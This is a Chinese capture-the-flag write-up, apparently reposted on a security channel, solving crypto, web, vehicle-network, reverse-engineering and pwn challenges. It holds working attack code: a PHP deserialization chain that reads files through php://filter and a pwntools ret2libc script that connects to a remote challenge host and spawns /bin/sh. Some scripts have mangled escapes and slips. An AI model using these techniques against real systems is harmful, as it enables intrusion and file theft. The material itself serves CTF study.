扫码加圈子
获内部资料
网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
文章作者:qw4sdc
文章来源:https://xz.aliyun.com/news/18558
Crypto
Curve
题目:
import random
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from Curve import curve
FLAG = b"flag{????????????????????????????}"
def Add(P, Q):
x3 = (P[0] * Q[0] + D * P[1] * Q[1]) % p
y3 = (P[0] * Q[1] + P[1] * Q[0]) % p
return (x3, y3)
def C_multiplication(P, n):
Q = (1, 0)
while n > 0:
if n % 2 == 1:
Q = Add(Q, P)
P = Add(P, P)
n = n // 2
return Q
def get_key():
private_key = random.randint(1, p - 1)
public_key = C_multiplication(G, private_key)
return (public_key, private_key)
def get_shared_secret(P, n_k):
return C_multiplication(P, n_k)[0]
curve_info = curve()
p = curve_info["p"]
D = curve_info["D"]
G = (curve_info["G.x"], curve_info["G.y"])
A, n_a = get_key()
B, n_b = get_key()
print("D =", D)
print("G =", G)
print("A =", A)
print("B =", B)
shared_secret = get_shared_secret(A, n_b)
key = sha256(long_to_bytes(shared_secret)).digest()
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(FLAG, 16))
print("C =", ciphertext.hex())
# D = 841
# G = (1100598635269059922265259097431205826869659019985617812588900225256796699368319232, 269583433230904539404618502954816143916504972586573484672290485092817854594102981)
# A = (522493413431164541763578890114416187756743905387601370337657937604705331138537817, 1508871699477090073528276437418263853138631109882880455850153282479682759269308568)
# B = (775700026584506740810283787673112405277484661261929762130750879159326080315752049, 164554371563691962332379023518848094645187895772638009983860665200242350372953279)
# C = 7727ceae1edbfa37f913e09b44c10e6fa846891f4b520c87d829fc55299b1f02621af77a1f1f1107d1159c4088250834
我们有一个基于扭曲爱德华曲线(Twisted Edwards Curve)的加密系统。给定曲线参数、生成元点G、公钥A和B,以及加密后的flag C,目标是恢复共享密钥并解密flag。
解决思路
理解曲线运算:
扭曲爱德华曲线的加法公式为:
但题目中给出的Add函数是简化的形式,是在某个模下的运算。
映射到乘法群:
扭曲爱德华曲线可以通过映射 f(P),将曲线上的点映射到乘法群,这个映射满足同态性质
计算离散对数:
公钥A是生成元G的倍数,通过映射 f,可以将曲线上的离散对数问题转化为乘法群上的离散对数问题:
在乘法群中,可以使用Pohlig-Hellman算法或其他方法计算离散对数
恢复共享密钥:
共享密钥是Na*B的x坐标。使用标量乘法计算 ,然后取S的x坐标作为共享密钥。
解密flag: 用共享密钥生成AES密钥,解密密文C。
故exp为:
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import *
from math import gcd
# Given parameters
D = 841
gx = 1100598635269059922265259097431205826869659019985617812588900225256796699368319232
gy = 269583433230904539404618502954816143916504972586573484672290485092817854594102981
ax = 522493413431164541763578890114416187756743905387601370337657937604705331138537817
ay = 1508871699477090073528276437418263853138631109882880455850153282479682759269308568
bx = 775700026584506740810283787673112405277484661261929762130750879159326080315752049
by = 164554371563691962332379023518848094645187895772638009983860665200242350372953279
C = bytes.fromhex("7727ceae1edbfa37f913e09b44c10e6fa846891f4b520c87d829fc55299b1f02621af77a1f1f1107d1159c4088250834")
# Step 1: Find the modulus p
# Compute Ng = gx^2 - D * gy^2 and Na = ax^2 - D * ay^2
Ng = gx**2 - D * gy**2
Na = ax**2 - D * ay**2
# The modulus p should divide both Ng - 1 and Na - 1
g = gcd(Ng - 1, Na - 1)
print("g =", g)
# Check if g/2 is prime (this is given in the solution)
p = g // 2
print("p =", p)
assert isPrime(p), "p must be prime"
# Step 2: Map the curve to the multiplicative group
# The twisted Edwards curve can be mapped to F_p^* using f(P) = (x + d*y)/(x - d*y) where d = sqrt(D)
d = 29 # since 29^2 = 841 = D
# Define the finite field
F = GF(p)
# Mapping function
def f(P):
x, y = P
x = F(x)
y = F(y)
num = x + d * y
den = x - d * y
if den == 0:
return None
return num / den
# Points
G = (gx, gy)
A = (ax, ay)
B = (bx, by)
# Compute u = f(G) and v = f(A)
u = f(G)
v = f(A)
# Step 3: Solve the discrete logarithm v = u^n_a in F_p^*
n_a = discrete_log(v, u)
print("n_a =", n_a)
# Step 4: Compute the shared secret S = n_a * B
def add(P, Q):
x3 = (P[0] * Q[0] + D * P[1] * Q[1]) % p
y3 = (P[0] * Q[1] + P[1] * Q[0]) % p
return (x3, y3)
def scalar_mult(P, n):
Q = (1, 0) # Identity element
while n > 0:
if n % 2 == 1:
Q = add(Q, P)
P = add(P, P)
n = n // 2
return Q
S = scalar_mult(B, n_a)
shared_secret = S[0]
print("shared_secret =", shared_secret)
# Step 5: Decrypt the flag
key = sha256(long_to_bytes(shared_secret)).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(C), 16)
print("Flag:", flag.decode())
#flag{c728026f-8c2d-4687-8f1e-db3229caf517}
nfsr
题目:
from Crypto.Cipher import AES
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from hashlib import sha512
from secret import flag
mask1 = 211151158277430590850506190902325379931
mask2 = 314024231732616562506949148198103849397
mask3 = 175840838278158851471916948124781906887
mask4 = 270726596087586267913580004170375666103
def lfsr(R, mask):
R_bin = [int(b) for b in bin(R)[2:].zfill(128)]
mask_bin = [int(b) for b in bin(mask)[2:].zfill(128)]
s = sum([R_bin[i] * mask_bin[i] for i in range(128)]) & 1
R_bin = [s] + R_bin[:-1]
return (int("".join(map(str, R_bin)), 2), s)
def ff(x0, x1, x2, x3):
return (int(sha512(long_to_bytes(x0 * x2 + x0 + x1**4 + x3**5 + x0 * x1 * x2 * x3 + (x1 * x3) ** 4)).hexdigest(), 16) & 1)
def round(R, R1_mask, R2_mask, R3_mask, R4_mask):
out = 0
R1_NEW, _ = lfsr(R, R1_mask)
R2_NEW, _ = lfsr(R, R2_mask)
R3_NEW, _ = lfsr(R, R3_mask)
R4_NEW, _ = lfsr(R, R4_mask)
for _ in range(256):
R1_NEW, x1 = lfsr(R1_NEW, R1_mask)
R2_NEW, x2 = lfsr(R2_NEW, R2_mask)
R3_NEW, x3 = lfsr(R3_NEW, R3_mask)
R4_NEW, x4 = lfsr(R4_NEW, R4_mask)
out = (out << 1) + ff(x1, x2, x3, x4)
return out
key = getRandomNBitInteger(128)
out = round(key, mask1, mask2, mask3, mask4)
cipher = AES.new(long_to_bytes(key), mode=AES.MODE_ECB)
print(out)
print(cipher.encrypt(pad(flag, 16)))
# 68014145798558789680147296296059748493170180017159509061459191404846898978879
# b'x9cxafx89x98x90<xdfxe8xefxd7x06x9cxf1xb0x1c3xccx12xabxdcx0exfa/x1bx95xe8xd6xa9axe6x86"x18x86q|xfaxa6xf9xedxe7x80Gx16ax18x04xcb'
很经典的多次nfsr流密码
解题代码如下
from Crypto.Util.number import *
from hashlib import sha512
from Crypto.Cipher import AES
import sage.all
mask1 = 211151158277430590850506190902325379931
mask2 = 314024231732616562506949148198103849397
mask3 = 175840838278158851471916948124781906887
mask4 = 270726596087586267913580004170375666103
out = 68014145798558789680147296296059748493170180017159509061459191404846898978879
c = b'x9cxafx89x98x90<xdfxe8xefxd7x06x9cxf1xb0x1c3xccx12xabxdcx0exfa/x1bx95xe8xd6xa9axe6x86"x18x86q|xfaxa6xf9xedxe7x80Gx16ax18x04xcb'
def trans(mask):
mask_bin = bin(mask)[2:].zfill(128)
mat = sage.all.Matrix(sage.all.Zmod(2), 128, 128)
for i in range(127):
mat[i + 1, i] = 1
for i in range(128):
mat[0, i] = int(mask_bin[i])
return mat
LFSR1, LFSR2, LFSR3, LFSR4 = trans(mask1), trans(mask2), trans(mask3), trans(mask4)
out = bin(out)[2:].zfill(256)
L = []
for i in range(len(out)):
if out[i] == "1":
term1 = LFSR1 ** (i + 2)
term2 = LFSR2 ** (i + 2)
term4 = LFSR4 ** (i + 2)
L.append((term1 + term2 + term4)[0])
L = sage.all.Matrix(sage.all.Zmod(2), L)
ones_vec = sage.all.vector(sage.all.Zmod(2), [1] * out.count("1"))
try:
M = L.solve_right(ones_vec)
sol = list(L.right_kernel().basis())
for i in range(len(sol)):
k = M + L.right_kernel().basis()[i]
k_str = "".join(map(str, k))
k_int = int(k_str, 2)
key = long_to_bytes(k_int).ljust(16, b'x00')[:16]
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(c)
print(decrypted)
except Exception as e:
print(f"解密过程出错: {e}")
Web
Easylogin
原题 https://blog.csdn.net/C_c9527/article/details/141907106
原理是哈希长度扩展攻击,照着博客的步骤打就行,先进网页获取初始token,然后用工具hash_ext_attack生成新的hash值
https://github.com/shellfeel/hash-ext-attack/blob/master/hash_ext_attack.py uniqid()是13位数字,所以密钥长度13,扩展字符随便
得到新的明文和哈希,根据原本的token,需要base64编码然后拼接,这里需要先url解 码再base编码
Z3Vlc3SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAcA ==.632dadad9db512bb42ee5c5101e50f85
输入得到flag
flag{ba10357c-ef0f-4089-93b6-69fa342e03fd}
Serp
dirsearch扫到.git泄露
GitHack拿源码
构造链
<?php
class Post {
public $title;
public $content;
public function __construct($title, $content) {
$this->title = $title;
$this->content = $content;
}
public function __toString() {
return $this->title . "/" . $this->content;
}
}
class Maker {
public $model = "Post";
public $args = ["Title", "Contents"];
protected $obj = null;
public function __construct($model, $args){
$this->model = $model;
$this->args = $args;
}
public function getInstance() {
if($this->obj == null) {
$this->obj = new $this->model(...$this->args);
}
return $this->obj;
}
public function __toString() {
return "object(". $this->model ."){" . strval($this->getInstance()) . "}";
}
public function __destruct() {
$this->obj = null;
}
}
$p = [
0=>"test",
// 1=>"test2"
1=>new Maker("SplFileObject",["php://filter/convert.base64-encode/resource=f1a9.php"])
];
if($p){
$post = (new Maker("Post", $p))->getInstance();
$posts[] = $post;
$a=serialize($posts);
echo urlencode($a)."n";
echo unserialize($a)[0]->content;
}
打入,拿到flag
IOV
VIN
打开流量包,能看见连接蓝牙后传输一段十六进制数据,并且有成功有失败
成功的数据为 6435303662323636643532656334303563626434303961363132653464633735643236353661393131346166326231663266383363303731653266306532646437396464
接着看apk,逆向一下,入口点是这个
接着去翻,发现加密vin码处理过程
加密函数在native层的so文件内,逆向导出表找到加密函数
v4 = env->GetStringUTFChars(...) Key = "MySecretKey123!@#" enhancedEncrypt(result, dest, key)进行加密 bytesToHex:把变换后的结果转成十六进制扔给ai写出解密脚本,加密数据就是之前流量包找到的十六进制数
Exp:
import binascii
cipher_hex = "6435303662323636643532656334303563626434303961363132653464633735643265303666386432623132326231343330383532613333653665633430643637376462"
lvl1 = binascii.unhexlify(cipher_hex)
lvl2 = binascii.unhexlify(lvl1.decode())
key = b"MySecretKey123!@#"
def F_inv(y, k):
return ((y ^ ((2*k) & 0xFF)) - k) & 0xFF
plain = bytearray()
for i, c in enumerate(lvl2):
k = key[i % len(key)]
t = (c - 2) & 0xFF
t = F_inv(t, k)
t = (t - 1) & 0xFF
t = F_inv(t, k)
p = F_inv(t, k)
plain.append(p)
print(plain.decode())
#AndroidNative202483734649767676649
后面数字是flag flag{202483734649767676649}
MISC
GPS
打开GPX文件,很明显这个地方轨迹错了,在文件里面查找相近坐标
故答案为flag{2025-07-25T01:05:07Z}
OTA-流量
车联网流量
可以看到流量包传输了init,download,handshake这些文件
download和init是二进制文件,而handshake是json,内容如下:
{"vin": "VIN11111111Normal", "timestamp": 1753340914, "status": {"battery": 85, "mileage": 25000, "last_update": "2024-01-15"}}
{"server_time":1753340914,"session_key":"7c4c162a185f9ee86354a0e41d81bdf1864a3032ed21223b5d0581d9a65dd737","session_token":"fe4ad4f0e33641e446c458a2799b10b7b495ebd9902ad0f1a1c269271e98b4e2","vehicle_model":"ModelS"}
{"vin": "VIN22222222Normal", "timestamp": 1753340915, "status": {"battery": 85, "mileage": 25000, "last_update": "2024-01-15"}}
{"server_time":1753340915,"session_key":"0666a83e1ae5cbfa6c6de053b1a838a2621e2f94c0b606049c10aa147fb3d8dc","session_token":"bfbf7485aa4780255fc65f34b0929ad5557e95f0c1eef814073deac11f85f639","vehicle_model":"ModelX"}
{"vin": "VIN33333333Normal", "timestamp": 1753340915, "status": {"battery": 85, "mileage": 25000, "last_update": "2024-01-15"}}
{"server_time":1753340915,"session_key":"e0c060709150bcc12bb7c45fba64d26310f8697ea6184e2833296395f2f8d1e3","session_token":"2d51b87178655cc59f3430efbe8b4012263d1a6f9ddcbbd64e7da8f7de5d341f","vehicle_model":"ModelY"}
{"vin": "VINADMIN12345VSEC", "timestamp": 1753340916, "status": {"battery": 85, "mileage": 25000, "last_update": "2024-01-15"}}
{"admin_flag":true,"hint":"Special vehicle detected","server_time":1753340916,"session_key":"44e01e6bc1bcff0e298f330a23c4927516cc3102185053e0cdf1b042e3c661d6","session_token":"fc9e6e9398f143bc8700cccdd3e7bbdbd8a81b6a768b5c5d16dc1e3234d5bad7","vehicle_model":"ModelAdmin"}
很显然是AES,爆破一下加密格式得到是AES-CBC
里面handshake的session_key对应的是AES的key
写个解密例子:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
# From handshake(7).txt
session_key = "44e01e6bc1bcff0e298f330a23c4927516cc3102185053e0cdf1b042e3c661d6"
key = binascii.unhexlify(session_key)
# We'll need to guess the IV - typically 16 null bytes if not provided
iv = bytes(16)
# Let's try decrypting download.txt first
with open('OTAdownload(7).txt', 'rb') as f:
ciphertext = f.read()
cipher = AES.new(key, AES.MODE_CBC, iv)
try:
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
print("Decrypted:", plaintext.decode('utf-8', errors='replace'))
except Exception as e:
print("Decryption failed:", e)
with open('OTAinit(7).txt', 'rb') as f:
ciphertext = f.read()
cipher = AES.new(key, AES.MODE_CBC, iv)
try:
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
print("Decrypted:", plaintext.decode('utf-8', errors='replace'))
except Exception as e:
print("Decryption failed:", e)
RE
ezapk
Jadx反编译:
猜测flag就是车辆访问凭证
发现加载myappicationso文件找到so文件:ida反编译:逻辑:使用RC4加密(非标准 S 盒 + 6 字节固定密钥)将密文与 rodata 中的常量26 字节模板比对完全一致返回"VEHICLE_ACCESS_GRANTED"
RC4的sbox魔改:xmmword_F1E0→F2D0共 256 字节rc4_key = 11 22 33 44 55 66
exp:
注意中间有一个反向 RLE → 原始凭证:flag{c2an_c3ne4de_care4!?}
c2→cc
c3→ccc
e4→eeee
见exp
得到:flag{ccan_cccneeeede_careeee!?}
Algorithm
动态调试得到flag数据,16进制转字符串即可
PWN
pwn-3
典型的栈溢出漏洞
1.漏洞函数 vuln() 中定义了一个 128 字节的缓冲区 buf[128]
2.使用 read() 读取 0x100 (256) 字节,明显超过了缓冲区大小
3.提供了 libc-2.27.so,说明可能启用了 tcache 机制
4.程序没有开启 PIE(地址随机化),因为 main 函数直接调用了 vuln 函数
将程序放到ida里面可找到所有需要的地址
写个脚本得到flag即可
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
libc = ELF('./libc-2.27.so') # 确保路径正确
# 关键地址
pop_rdi = 0x4007a3
ret = 0x4007a4
write_got = 0x601018
write_plt = 0x400450
vuln_addr = 0x40057d
# 计算偏移量
offset = 0x80 + 8 # 128字节缓冲区 + 8字节RBP
# 连接远程服务
p = remote('124.133.253.44', 33272)
# 第一步:泄露write@got地址
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(1) # fd = stdout
payload += p64(pop_rdi)
payload += p64(write_got) # write@got地址
payload += p64(write_plt)
payload += p64(vuln_addr) # 返回到vuln函数
p.send(payload)
# 接收泄露的地址
leaked_write = u64(p.recv(8).ljust(8, b'x00'))
log.success(f"Leaked write@got: {hex(leaked_write)}")
# 计算libc基地址
libc.address = leaked_write - libc.sym['write']
log.success(f"Libc base address: {hex(libc.address)}")
# 第二步:获取system和/bin/sh地址
system_addr = libc.sym['system']
bin_sh_addr = next(libc.search(b'/bin/shx00'))
log.info(f"System address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
# 第三步:执行system("/bin/sh")
payload = b'A' * offset
payload += p64(ret) # 栈对齐(可选)
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
p.send(payload)
# 获取shell
p.interactive()
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...